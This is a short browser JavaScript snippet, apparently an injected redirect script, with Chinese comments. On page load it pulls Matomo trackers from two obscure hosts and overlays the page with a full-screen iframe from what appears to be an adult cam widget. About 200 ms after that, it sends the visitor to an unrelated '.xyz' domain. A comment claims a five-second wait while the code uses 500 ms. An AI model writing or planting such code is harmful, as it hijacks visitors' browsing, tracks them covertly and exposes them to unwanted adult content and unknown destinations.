function loadMatomo(u, id) { return new Promise((resolve) => { var g = document.createElement('script'); g.src = u + "matomo.js"; g.async = true; g.onload = function () { try { if (typeof Matomo !== "undefined") { var tracker = Matomo.getAsyncTracker(u + 'matomo.php', id); tracker.trackPageView(); tracker.enableLinkTracking(); console.log(`Matomo ${id} loaded`); } else { console.warn(`Matomo object not found for ${id}`); } } catch (e) { console.error(`Matomo ${id} error:`, e); } resolve(); }; g.onerror = function () { console.error(`Matomo ${id} load failed`); resolve(); }; document.head.appendChild(g); }); } function addIframe() { return new Promise((resolve) => { var iframe = document.createElement('iframe'); iframe.src = "https://creative.rmhfrtnd.com/widgets/v4/Universal?autoplay=onHover&tag=girls&userId=dacec79803eb72fbe5dcba04d55b5adee4a0b5b72b621f85d601060b2c9ac69b"; iframe.style.width = "100%"; iframe.style.height = "100vh"; iframe.style.border = "none"; iframe.style.display = "block"; iframe.style.margin = "0"; iframe.style.zIndex = "100"; iframe.allow = "autoplay"; document.body.appendChild(iframe); console.log('Iframe added'); resolve(); }); } async function runAll() { const timeout = new Promise(res => setTimeout(res, 500)); // 最多等5秒 await Promise.race([ (async () => { await loadMatomo("//180.404.mn/", 20); await loadMatomo("//mato.home.kg/", 168); await addIframe(); })(), timeout ]); // 给 iframe 一点展示时间再跳转 setTimeout(() => { console.log("Redirecting..."); window.location.href = "https://860375.xyz/ip/"; }, 200); } // 方法1:等 DOM 准备好再执行 if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", runAll); } else { runAll(); }